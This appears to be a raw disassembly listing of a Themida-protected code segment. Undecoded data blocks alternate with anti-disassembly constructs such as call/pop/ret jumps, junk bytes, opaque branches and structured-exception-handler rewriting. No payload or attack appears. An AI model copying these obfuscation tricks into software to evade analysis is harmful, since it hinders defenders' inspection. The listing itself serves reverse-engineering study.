		dd 6A061298h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0D45DC355h, 6625CA73h,	30F5E381h
		dd 0FF9D1FFh, 68Bh, 0B58D8900h,	83060F14h, 0F21ADBDh, 850F0106h
		dd 76h,	5759D8Bh, 26A060Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0AFC35747h, 6050CF15h, 0DB2DBA66h, 61C18B66h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FFEBC352h, 0F30FD95h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0B997D716h, 8E9C72Eh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 613C606h
		push	0
		push	esi
		call	sub_5974E2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5974E2	proc near		; CODE XREF: Themida_:005974DAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5974E2	endp

; ---------------------------------------------------------------------------
		mov	ebx, fs
		db	2Eh
		dec	ecx
		movzx	ebx, bx
		lea	eax, [ebp+6128847h]
		push	eax
		jnz	loc_597510
		jmp	loc_597510
; ---------------------------------------------------------------------------
		xor	[eax+edi*8], ah
		mov	dh, 0D4h


loc_597510:				; CODE XREF: Themida_:00597500j
					; Themida_:00597506j
		mov	[esp], eax
		push	0
		push	edi
		call	sub_59751E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59751E	proc near		; CODE XREF: Themida_:00597516p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59751E	endp

; ---------------------------------------------------------------------------
		xor	esi, esi
		push	esp
		add	[esi], dl
		mov	ds:0FA8B8BAAh, al
		mov	[ebp+60F29DDh],	eax
		push	large dword ptr	fs:0
		jl	loc_597550
		push	ebx
		mov	bx, ax
		pop	edi


loc_597550:				; CODE XREF: Themida_:00597545j
		mov	large fs:0, esp
		mov	edi, [ebp+60F1ACDh]
		inc	dword ptr [ebp+60F2459h]
		mov	[ebp+60F30F5h],	ecx
		push	0FFFFFFFFh
		push	dword ptr [ebp+60F1685h]
		mov	[ebp+60F23D5h],	edi
		mov	bh, dl
		call	dword ptr [ebp+60F1455h]
		jmp	loc_5976DF
; ---------------------------------------------------------------------------
		dd 7E8h, 0C4FC9100h, 7A5440CAh,	27ED9D8Bh, 665B060Fh, 0F5D9C381h
		dd 9D8B00B0h, 60F19F5h,	870F70E6h, 6, 94D9D29h,	71E4060Fh
		dd 9E9h, 7139A300h, 0B0739AA4h,	3CF59393h, 14830F61h, 0F000001h
		dd 0B589C8B6h, 60F2739h, 6BAh, 0F5F56000h, 52C18B61h, 0D21BD8Bh
		dd 0C15B060Fh, 335604E8h, 0F2EC99Dh, 0F7665F06h, 59C9BFE2h
		dd 9D8B4256h, 60F21EDh,	5E8C82Bh, 0C5000000h, 0F5D8BFEh
		dd 0AE8h, 714CC800h, 8E4920E1h,	89F4917Ah, 0F1EB59Dh, 8B5F5F06h
		dd 0DFBF0FD1h, 0B2E9h, 219D2900h, 8B060F23h, 885h, 8B666000h
		dd 0AE8FEh, 9BFE0000h, 93B41A74h, 796C5C57h, 2FB18529h
		dd 615B060Fh, 0E907C083h, 12h, 6DF03C6Fh, 410D425Ch, 5F3FEB26h
		dd 0EA1A8AF7h, 8166400Ah, 83F3BDE3h, 0B50100C0h, 60F12DDh
		dd 16B5B529h, 0D03B060Fh, 14830Fh, 6E80000h, 29000000h
		dd 8F9992A9h, 0E95BF55Ch, 43h, 8D8B4AB7h, 0FFFFFFFFh, 0F01E183h
		dd 3284h, 0FE900h, 299A0000h, 9201A8DCh, 0C91A03E1h, 0A3554051h
		dd 0FFA58328h, 0FEFFFFFFh, 28CD9D8Bh, 9589060Fh, 8, 2CADBD89h
		dd 0E9060Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5976DF:				; CODE XREF: Themida_:0059757Fj
		lea	esi, [ebp+61342E4h]
		push	0
		push	edx
		call	sub_5976F0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5976F0	proc near		; CODE XREF: Themida_:005976E8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5976F0	endp

; ---------------------------------------------------------------------------
		dd 534C933Bh, 14E9h, 490E7400h,	1B306D7Ch, 4651D700h, 150AC1F6h
		dd 992D563Ch, 6A5F70h, 58EEF381h, 95FF33C1h, 60F3451h
		dd 0FE78166h, 106BB9B8h, 61BB0000h, 8370F905h, 6AFCE1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 7D3D5CC3h, 0FC786CCDh, 0F6088FDh, 83h, 0C1B52300h, 61060F33h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 319D29F3h, 66060F10h, 2B8D27BFh,	958957C0h
		dd 60F1CDDh, 0BA5Bh, 0DF800000h, 0C233AD9Bh, 0D003E8D1h
		dd 7504E983h, 0C1B589F4h, 0D060F00h, 88h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0B9C35747h, 9E10D608h
		dd 0F78F3A45h, 6DB5893Ah, 8B060F14h, 0F2C6595h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0C44CCD5Dh, 8D8B139Ah, 60F07C1h, 0C89BD09h, 8B50060Fh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 8F0Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 536164C3h, 0D5BD8355h, 60F2Ah, 59840Fh, 0DE80000h, 0B000000h
		dd 0CA18A786h, 9EDD515Ch, 534D8508h, 0D9C78166h, 85295B21h
		dd 60F34C5h, 0B8h, 3890F00h, 80000000h,	8D8DD3EFh, 60F4CA7h
		dd 1D7DBD33h, 0FFFC060Fh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 83883C67h
		dd 0F2491BDh, 840F0006h, 4B2h, 0E5DDE781h, 0BD837998h
		dd 60F2491h, 0BA840F01h, 0E8000004h, 0Fh, 417B8CF9h, 545F6684h
		dd 217213Bh, 293BD05Fh,	0F19598Dh, 0BD835F06h, 60F2491h
		dd 5C860F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6099C353h, 7E8h, 8AD66200h
		dd 0A8E99B3h, 0E284BEBFh, 8C665F15h, 68E0FD9h, 89000000h
		dd 0F07CDB5h, 4E18006h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 87C35747h, 722CE70Bh,	4FAD12EAh, 0AD88A8Bh
		dd 0C1840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 35D5C355h, 858B8FE9h
		dd 60F2DA9h, 61E1BF66h,	19AD8533h, 6A060Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 8B2167C3h
		dd 0FFACB3Eh, 686h, 1850900h, 0FC060F16h, 29BF6690h, 14E9507Fh
		dd 8A000000h, 0E4C9C722h, 311BDF55h, 3B613C0Eh,	6F87E77Ch
		dd 909001B6h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	3DC35141h, 6A01CF80h, 0F5B52900h, 0E8060F1Eh, 4
		dd 1F03FFh, 8820Fh, 870F0000h, 2, 0E850DA8Ah, 13h, 459D3128h
		dd 0B36D11A7h, 32CC29EAh, 21C4A923h, 523CBBCAh,	448B5B5Fh
		dd 0E8600424h, 13h, 7218BFF0h, 4CCB185Eh, 0FF8FB20Ah, 12E4BD9h
		dd 0E8E65ED8h, 13h, 0F4AB8C49h,	77474EA5h, 0DA5C65B5h
		dd 2CE64552h, 58315863h, 7E9575Fh, 0FB000000h, 0A20D7DFDh
		dd 615B48EFh, 5250008Bh, 15E9BB66h, 8D0F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		mov	[esp+4], eax
		mov	bl, al
		pop	eax
		movsx	ebx, dx
		call	dword ptr [ebp+60F34C9h]
		push	0
		push	edx
		call	sub_597ABD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597ABD	proc near		; CODE XREF: Themida_:00597AB5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_597ABD	endp

; ---------------------------------------------------------------------------
		db 0E6h, 42h, 0E9h
		dd 0Fh,	454EA24h, 0C6AF0F19h, 342CD1FBh, 66FBC3C2h, 89C6A0BFh
		dd 12BAC685h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0E3C667ECh, 0FA71C28h, 0E8Eh, 0B58B6000h
		dd 60F1835h, 8E0Fh, 0E9610000h,	1A3h, 7307D781h, 0CB81405Fh
		dd 319FAEF1h, 0BABE858Bh, 0F98B0612h, 1800C7h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0CC72E6C3h, 0C73CB44Dh, 897A3DF3h, 0F114195h, 0BE806h
		dd 0D6250000h, 4FF94FEBh, 7CA66A27h, 7E820h, 89D80000h
		dd 329FE5CFh, 77BFBF04h, 5F5B0C0Ch, 0BAC2B58Bh,	6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 6F49F3C3h, 1C44C0B8h, 60A2BEE3h, 28D9958Bh, 850B060Fh
		dd 60F1219h, 0A9858B61h, 66060F2Fh, 689FA8Bh, 0B56DBB66h
		dd 2DA9858Bh, 9D29060Fh, 60F0B5Dh, 66044689h, 0EC0FD381h
		dd 8A0F96h, 50000000h, 6A963DB7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B26C357h
		dd 1799BD29h, 0CEBB060Fh, 0FF38622Ch, 12BABEB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0BB7049AAh, 500D11A5h, 2ED1BD2Bh, 0BD8B060Fh, 60F142Dh
		dd 1ACAF468h, 0DDBB6697h, 2404810Bh, 6904390Bh,	890Fh
		dd 858D0000h, 612BAC6h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 5C35040h, 0F83FEEFBh,	4B3878Bh, 0B9BF66CEh
		dd 0BB66901Dh, 8A50954Fh, 0F5190F9h, 0FF5FFBB7h, 0F34C995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 614D8AB0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 7C35343h, 33A59531h, 85C7060Fh, 60F2491h
		dd 3, 15F5BD89h, 0BD83060Fh, 612BAC6h, 54840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 5337C357h, 0B87AAF53h, 4870FA5h, 66000000h
		dd 0E90DE7BFh, 3Eh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 76C35343h, 0ADBD8B44h, 50060F11h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 9D29C08Bh
		dd 60F3371h, 317D9D8Bh,	0BD83060Fh, 60F2491h, 0EF850F03h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D0FAC350h, 0A71E008Ch, 4D9D89E0h
		dd 83060F1Ah, 12BAC6BDh, 840F0006h, 3BAh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 0A9C35040h, 0D588D5BCh
		dd 0A1BD896Ch, 0FF060F30h, 12BAC6B5h, 0BD335106h, 60F0A6Dh
		dd 0FD95FF5Fh, 8B060F27h, 0F1EB99Dh, 0BAB58B06h, 6A0612BAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6BFBC355h, 299D8B2Ch, 0E9060F1Fh,	0Dh, 0C2D139C3h
		dd 0E551147Eh, 5D7C9921h, 106C7CAh, 0E9000100h,	13h, 1B94D664h
		dd 8F0C9754h, 2A227F29h, 5548FD3Ch, 80E2659Bh, 8B96C2D7h
		dd 0BF5050F9h, 160497ABh, 6E9965Fh, 0F000000h, 7F9EAA27h
		dd 0C6B5FF41h, 6A0612BAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0C0BAC356h,	9F8C5D36h
		dd 85895653h, 60F1909h,	195FF5Fh, 33060F13h, 0F27399Dh
		dd 5BF95006h, 0BABAB58Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0C7544BC3h, 8BCD591Bh
		dd 0F226DBDh, 15858B06h, 66060F1Dh, 89FEAEBFh, 0C486h
		dd 8D896000h, 60F1A79h,	890Fh, 8B610000h, 0F2C6595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 819D1575h, 0DE97Fh, 0A69D0000h, 87FEA92Dh, 1A8E298Ch
		dd 0F9D9F76h, 181h, 0C283F900h,	5AD38104h, 890C1B8Fh, 0B5292050h
		dd 60F17B1h, 0CF14858Dh, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 426E92C3h, 78817F7h
		dd 0BD8B83F8h, 60F10F1h, 0B88689h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 899428C3h
		dd 0F0F7D9Dh, 50006A06h, 21DDBD8Bh, 0FF5B060Fh,	12BAC6B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0CAB93B8Ch, 0E47B0123h, 92D9D8Bh, 95FF060Fh
		dd 60F30FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	40C35646h, 9BB6661h, 605796ABh,	310F5250h, 0BB66585Ah
		dd 5B6153D1h, 0ABBB6650h, 8F0F96BDh, 6,	1758529h, 0B5FF060Fh
		dd 612BAC6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0F6C35242h, 0F1BD89A6h,	0FF060F32h, 0F12E595h
		dd 0DE8B6606h, 27A1BD83h, 0F00060Fh, 3C84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6146023Ch, 0BD2BF59Dh, 60F1B41h, 72DEBF50h, 34893E02h
		dd 0BD896024h, 60F2369h, 3CC0BF66h, 0C6B5FF61h,	6A0612BAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 90ECC356h, 341595FFh, 9509060Fh, 60F29E9h
		dd 0BAC6B5FFh, 9D890612h, 60F2D45h, 3135BD89h, 95FF060Fh
		dd 60F0AF5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	72C35646h, 751C645h, 0DA8B66FBh, 0BD83E4B3h, 60F07A9h
		dd 4C840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 2A41C356h, 0BE8h, 57FC4A00h
		dd 1525DF5Fh, 0F9614A0Dh, 515FDE8Bh, 1D39BD8Bh,	8B5B060Fh
		dd 0F2C8D85h, 0F98B6606h, 890000C6h, 0F18898Dh,	0C7FC8A06h
		dd 0F106D85h, 6, 0AA88BF00h, 0AAE97D38h, 0E9FFFFF3h, 5
		dd 0F2CB269h, 8BF88B18h, 2D8589C1h, 8D060F28h, 0F146185h
		dd 8BDE8B06h, 0F0A7D9Dh, 0E9509006h, 0Fh, 0BFE8F2F5h, 495EC5C0h
		dd 7828DFACh, 9019AF08h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0D1C35141h, 1E59BD89h, 6A060Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 29C35747h, 6A5CE8h
		dd 0C5E78166h, 69BD8B74h, 8D060F0Fh, 13D4C585h,	0F88B6606h
		dd 8905C083h, 0F2CE9BDh, 0FC8A5006h, 81240489h,	0AE042CDFh
		dd 0F006A34h, 288h, 6AFA8B00h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E8E86579h
		dd 66AD9215h, 8966A6BBh, 0F26199Dh, 8D95FF06h, 66060F34h
		dd 8D8DDE8Bh, 612985Eh,	0FFF8BF0Fh, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 12E937h
		dd 87E90000h, 0F6E92A71h, 0C654BC72h, 0EFE14682h, 0AD1C0E51h
		dd 0BD83F98Ah, 60F21ADh, 9C850F01h, 9000000h, 0F199585h
		dd 6A026A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 5163C353h, 0F9836F1Ah,	29D1B589h
		dd 5090060Fh, 0E8525052h, 0Bh, 0AAE69B80h, 0A85A3BD7h
		dd 5B106B7Fh, 9E9310Fh,	0D1000000h, 0E5F642E7h,	4856B100h
		dd 310F585Ah, 310F5250h, 585A5B53h, 6650585Ah, 90F278BBh
		dd 33218D89h, 0B70F060Fh, 0FD95FFDAh, 6A060F30h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0D785C350h, 80D7817Ch, 0E95839F6h, 0D7Bh, 0E8h, 0ED815D00h
		dd 613D4CFh, 136D9D89h,	8D0F060Fh, 18h,	13E9h, 37C64300h
		dd 0BBA26105h, 0C68C6E94h, 383AF40Ah, 3948F133h, 8847858Dh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B58942C3h, 60F1BF9h, 5880Fh, 0BF0000h, 902FE456h
		dd 905EB750h, 35FF64F9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_59840F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59840F	proc near		; CODE XREF: Themida_:00598407p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_59840F	endp

; ---------------------------------------------------------------------------
		xor	eax, 0DA70B588h
		mov	[ebp+60F1CD9h],	eax
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_59843C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59843C	proc near		; CODE XREF: Themida_:00598434p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59843C	endp

; ---------------------------------------------------------------------------
		push	ecx
		inc	esp
		fbstp	tbyte ptr [eax]
		cmp	eax, 5985FFE9h
		and	al, 0Fh
		push	es
		mov	edi, eax
		mov	bx, 2715h


loc_59845E:				; CODE XREF: Themida_:005990DAj
		push	0FFFFFFFFh
		push	0
		push	edx
		call	sub_59846B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59846B	proc near		; CODE XREF: Themida_:00598463p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_59846B	endp

; ---------------------------------------------------------------------------
		shr	esi, cl
		pop	es
		dec	esi
		mov	[ebp+60F124Dh],	ebx
		push	dword ptr [ebp+60F0B09h]
		push	0
		push	ecx
		call	sub_598496
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598496	proc near		; CODE XREF: Themida_:0059848Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_598496	endp

; ---------------------------------------------------------------------------
		dw 69E0h
		dd 180F2CB2h, 0B1F380FCh, 9E8h,	3A555100h, 4020E2BFh, 8D89C64Ah
		dd 60F052Dh, 5595FF5Bh,	0E9060F14h, 117h, 6E9h,	18663700h
		dd 0B0A89843h, 0F9BF0F00h, 71E470E6h, 0B2CBEB81h, 613C6D0Eh
		dd 0F5830Fh, 13E80000h,	0C1000000h, 8E9AA192h, 0CE921CC5h
		dd 0D8409E25h, 8FF3D9D7h, 9D897596h, 60F1359h, 0C8B60F5Bh
		dd 34C5BD89h, 6BA060Fh,	66000000h, 8B452DBFh, 559D89C1h
		dd 0C1060F1Ah, 606004E8h, 0BD9D8BF8h, 61060F07h, 0E2F76661h
		dd 874BF66h, 0EE9C82Bh,	52000000h, 0D1D78072h, 0A6A1E670h
		dd 2EFE1E39h, 8BD18B3Eh, 0F168DBDh, 85E906h, 1B70000h
		dd 1A019D89h, 858B060Fh, 1, 7E950h, 25140000h, 186FA97Ch
		dd 0C0835B02h, 0C08307h, 0F4ECF381h, 0D03B09CDh, 0F830Fh
		dd 50E90000h, 0E9000000h, 5, 25DB2D18h,	0FF8D8B19h, 89FFFFFFh
		dd 0F2F9DBDh, 1E18306h,	31840Fh, 74BB0000h, 830805B8h
		dd 0FFFFFFA5h, 0BE9FEFFh, 0A3000000h, 0DC5F5EA3h, 0F333B286h
		dd 958938C9h, 1, 48A0Fh, 0BF660000h, 0E9CD9Dh, 8D000000h
		dd 13534FB5h, 0DA8B6606h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0B00ABAC3h, 5FC2F8E0h
		dd 0C3805090h, 0D8B70F87h, 345195FFh, 23B9060Fh, 6A000010h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0B7CFC357h, 3985893Eh, 83060F2Ch,	6AFCE1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 32F19DC3h, 9D2B5156h, 60F2B05h, 830FFC5Fh, 6, 0D0D8D89h
		dd 0B8060Fh, 81000000h,	7F213C7h, 8BD22B51h, 0F3385BDh
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 7FA31218h, 57EF8166h, 8D89604Fh, 60F2A01h, 30F5BD89h
		dd 0D61060Fh, 88h, 55BD2B60h, 0BE060F31h, 281F6A19h, 65958B61h
		dd 6A060F2Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0B35FC350h, 0BADCD2BFh, 43BB6656h
		dd 1D8D898Bh, 8B060F1Bh, 0F07C18Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 9B2F7172h
		dd 1889BD8Bh, 8B50060Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	0C7C35040h, 56D950F6h, 2DBD8BE0h, 6A060F17h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 712CC352h, 0E18589C1h, 83060F2Ah, 0F2AD5BDh,	840F0006h
		dd 9Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
		dd 9DC35242h, 1FC0999Dh, 0B88BF716h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5987DF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5987DF	proc near		; CODE XREF: Themida_:005987D7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5987DF	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 42C7652Eh, 11E996h, 0EBEC0000h, 2170223Dh, 0E95150BEh
		dd 1C26E8C3h, 660BC045h, 8D378FBFh, 0F4CA78Dh, 0AD9D8B06h
		dd 0FF060F18h, 53006AE1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0F64F42D6h, 297F8448h
		dd 0F15958Dh, 83DF8B06h, 0F2491BDh, 840F0006h, 448h, 0AE8h
		dd 0F706A900h, 1D90C27Bh, 8BF5481Dh, 0F2135BDh,	0BD835F06h
		dd 60F2491h, 40840F01h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0DB79C357h
		dd 0EB816691h, 0C0B786E7h, 2491BD83h, 0F03060Fh, 3D886h
		dd 12E900h, 9F100000h, 424665B7h, 4761105Fh, 9D6CC050h
		dd 85736592h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0AC84D7DDh, 0E950EA48h, 11h, 0DD10AB98h
		dd 4F3B0AC7h, 0E1ED7CC9h, 0B7FAEF44h, 0D98C66D6h, 19718D89h
		dd 0E180060Fh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0AE9B4DDh, 0AA000000h
		dd 16454264h, 6600049Dh, 0FC90A83h, 17784h, 419D8B00h
		dd 8B060F0Ah, 0F2DA985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0BBBB9BA3h, 2A31DFh, 19AD8533h
		dd 6A060Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0C907FFC3h, 239C8324h, 0B9BD8BF3h, 0E8060F2Eh
		dd 0Eh,	97A1D915h, 37C740D3h, 0D8B560CCh, 6652F732h, 5B5999BBh
		dd 11E95Bh, 663F0000h, 1B2FF190h, 0FA3ED861h, 0EE12A590h
		dd 50F6EFF0h, 11E9h, 76A44D00h,	151B8331h, 0EAABBA23h
		dd 0F26F6351h, 489B78Ah, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 504BDB2Bh, 0C4BC784h
		dd 33B99529h, 6A060Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 1EC35343h, 0C19D8984h, 68060F27h, 0D282AE84h
		dd 0B810Fh, 0F600000h, 88h, 0D08B6600h,	24048161h, 2D9C557Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2C35747h
		dd 26D1BD89h, 95FF060Fh, 60F34C9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0F8C35747h,	0B5BDB240h, 0BF503013h
		dd 49B5DB45h, 89A1B35Fh, 12BAC685h, 5BD8B06h, 0E9060F18h
		dd 16Bh, 0BABE858Bh, 0DE8B0612h, 1800C7h, 0BD8B0000h, 60F0FF1h
		dd 0BAC2B58Bh, 6A0612h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 4D3947C3h, 13E19D8Bh, 9589060Fh
		dd 60F0091h, 0BCBF66h, 2FA9858Bh, 9D8B060Fh, 60F2A79h
		dd 9D330689h, 60F1D41h,	0CE8h, 0FFF22200h, 0FB213702h
		dd 0A5AE268Ah, 0CE960h,	0EA130000h, 0E8E12989h,	71B8B6C4h
		dd 8B5BB115h, 0F2DA985h, 0EB816606h, 4689B0EEh,	57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 2882C85Bh, 50DA8B66h, 53243489h, 5B97F380h, 0BABEB5FFh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 66D847C3h, 97C7EF81h, 0F1769568h,	24048188h
		dd 772D8D6Ah, 279D8529h, 858D060Fh, 612BAC6h, 24048950h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FBC35747h
		dd 0D59D81CBh, 6850Fh, 0BD090000h, 60F1A25h, 34C995FFh
		dd 6A060Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0EFF0EEC3h, 8C5928F6h, 14E9FADBh,	0FA000000h
		dd 950D6E77h, 8D0816F6h, 46032DB0h, 0E3D7C2C0h,	61DCA9CBh
		dd 2C41BD8Bh, 85C7060Fh, 60F2491h, 3, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0CDC35646h,	0F431C13Fh, 0BAC6BD83h
		dd 0F000612h, 2884h, 0E99D8900h, 0E9060F17h, 38h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3CC35242h, 0C30504Eh
